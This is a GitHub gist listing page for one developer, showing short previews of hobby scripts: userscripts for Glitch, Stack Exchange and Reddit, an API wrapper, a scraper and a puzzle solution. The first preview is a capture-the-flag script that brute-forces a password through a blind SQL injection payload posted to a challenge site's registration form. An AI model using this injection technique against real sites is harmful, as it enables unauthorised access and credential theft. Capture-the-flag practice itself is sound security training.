Skip to content

Instantly share code, notes, and snippets.

🎼
Practising his hemidemisemiquaver

Zhang Yi Jiang ZhangYiJiang

🎼
Practising his hemidemisemiquaver
Block or report user

Report or block ZhangYiJiang

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@ZhangYiJiang
ZhangYiJiang / sql_injection.js
Created Aug 22, 2015
NUS Greyhats CTF Day 2 - Brute force password cracking on a blind SQL injection form
View sql_injection.js
// Run this first: injects jQuery into the page
var s = document.createElement('script');
s.src = 'https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js';
document.body.appendChild(s);
// SQL query: 1' AND FALSE UNION SELECT * FROM users WHERE password LIKE 'a%' #
// Recursive function to brute force out the password from the page
function getPassword(p) {
$.post('http://web.nusgreyhats.org/blindsqli/register.php', {
register: "1' AND FALSE UNION SELECT * FROM users WHERE password LIKE '" + p + "%' #"
@ZhangYiJiang
ZhangYiJiang / api_wrapper.js
Created Jan 25, 2011
Lightweight SE API Wrapper
View api_wrapper.js
var apikey = 'xxxxxxxxxxxxxxxx',
apiPrefix = 'http://api.stackoverflow.com/1.0/';
if(!Date.now) {
Date.now = function () {
return +new Date();
};
}
var api = {
@ZhangYiJiang
ZhangYiJiang / mass_glitch_mail.user.js
Created Aug 20, 2012
Glitch mass mail delete userscript
View mass_glitch_mail.user.js
// ==UserScript==
// @name Mass delete Glitch mail messages
// @namespace yijiang
// @include http://www.glitch.com/mail/
// @include http://www.glitch.com/mail/all/
// @version 1.04
// ==/UserScript==
function init() {
function deleteMessage (message) {
@ZhangYiJiang
ZhangYiJiang / README.md
Created Aug 28, 2012
Glitch Forum Remix
View README.md

To configure this script, open your browser's console (F12) and copy this in

localStorage.remixSetting = JSON.stringify({
	// Add or remove forums to load by editing these. 
	enabledForum: ['announcements', 'bugs', 'ideas', 'marketplace'], 
	otherForumCount: 6, // Number of posts to show from the other forum
	generalForumCount: 10, // Number of posts to show from General 
	cacheTime: 10 // Amount of time to cache the results from other forums in minutes
});
View asslandia.user.js
// ==UserScript==
// @name Asslandia
// @namespace yijiang
// @include http://www.glitch.com/*
// @version 1.01
// ==/UserScript==
// NEVER FORGET LNVG40H1DOD392I :(
var assLinks = document.querySelectorAll('a[href*="LA9BT2I0ILD340S"]');
@ZhangYiJiang
ZhangYiJiang / tag_remover.user.js
Last active Nov 1, 2015
Stack Exchange Title Tag Remover
View tag_remover.user.js
// ==UserScript==
// @name Stack Exchange Title Tag Remover
// @namespace yijiang
// @include http://stackoverflow.com/questions/*
// @include http://superuser.com/questions/*
// @include http://serverfault.com/questions/*
// @include http://askubuntu.com/questions/*
// @include http://answers.onstartups.com/questions/*
// @include http://nothingtoinstall.com/questions/*
// @include http://seasonedadvice.com/questions/*
View 1.py
with open('1.in') as f:
data = f.read()
print('First half')
print(data.count('(') - data.count(')'))
i = 0
floor = 0
while floor >= 0:
@ZhangYiJiang
ZhangYiJiang / voting-ponies.user.js
Last active Dec 15, 2015
Watch Karma and Descentia vote for you as you click on the up and downvote button on r/mylittlepony
View voting-ponies.user.js
// ==UserScript==
// @name Voting Ponies
// @namespace yijiang
// @include http://www.reddit.com/r/mylittlepony*
// @version 1.1
// ==/UserScript==
function inject () {
var images = ['http://i.imgur.com/nXc1LOz.gif', 'http://i.imgur.com/jQ70FcY.gif',
'http://i.imgur.com/YIJWhes.gif', 'http://i.imgur.com/45wWH0C.gif'];
@ZhangYiJiang
ZhangYiJiang / upgrade-scraper.js
Created Aug 10, 2012
Glitch Upgrades data and scraper
View upgrade-scraper.js
// Replace all dashes with spaces and uppercase first letter of each word
function humanize (str) {
return str.replace(/\-/g, ' ').replace(/\w\S*/g, function(txt){
return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();
});
}
// Split up URL pathnames into components
function parseUrl (url) {
// Remove trailing slashes
@ZhangYiJiang
ZhangYiJiang / 0_reuse_code.js
Created May 5, 2016
Here are some things you can do with Gists in GistBox.
View 0_reuse_code.js
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
You can’t perform that action at this time.